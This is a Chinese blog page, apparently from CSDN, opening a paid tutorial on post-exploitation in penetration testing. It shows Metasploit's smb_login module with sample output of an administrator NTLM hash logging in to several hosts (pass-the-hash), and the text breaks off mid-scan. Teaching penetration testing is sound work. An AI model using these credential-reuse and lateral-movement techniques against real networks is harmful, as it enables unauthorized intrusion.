18、渗透测试：Windows与Linux/UNIX后渗透技术详解

最新推荐文章于 2025-09-24 15:00:42 发布

a0b1c2d3

最新推荐文章于 2025-09-24 15:00:42 发布

阅读量56

点赞数

CC 4.0 BY-SA版权

分类专栏：精通内网渗透测试文章标签：渗透测试 Windows后渗透 Linux后渗透

本文链接：https://blog.youkuaiyun.com/a0b1c2d3/article/details/151278501

精通内网渗透测试专栏收录该内容

30 篇文章 ¥499.90

订阅专栏¥69.90

会员秒杀 ¥9.9 重磅福利

超级会员免费看

渗透测试：Windows与Linux/UNIX后渗透技术详解

1. Windows后渗透技术

在Windows系统的后渗透阶段，有三个关键目标：维持可靠的重新进入、收集凭证以及横向移动。

1.1 SMB登录扫描

使用Metasploit的 auxiliary(scanner/smb/smb_login) 模块进行扫描。示例扫描结果如下：

[+] 10.0.10.208:445       - 10.0.10.208:445 – Success    
'.\administrator:aad3b435b51404eeaad3b435b51404ee:c1ea09ab1bab83a9c9c1f1c3
6576737' Administrator   
[+] 10.0.10.207:445       - 10.0.10.207:445 – Success    
'.\administrator:aad3b435b51404eeaad3b435b51404ee:c1ea09ab1bab83a9c9c1f1c3
6576737' Administrator   
[-] 10.0.10.200:445       - 10.0.10.200:445 - Failed:
'.\administrator:aad3b435b51404eeaad3b435b51404ee:c1ea09ab1bab83a9c9c1f1c3
6576737',
[*] Scanned 1 of 8 hosts (12% complete)
[*] Scanned 2 of 8 hosts (25%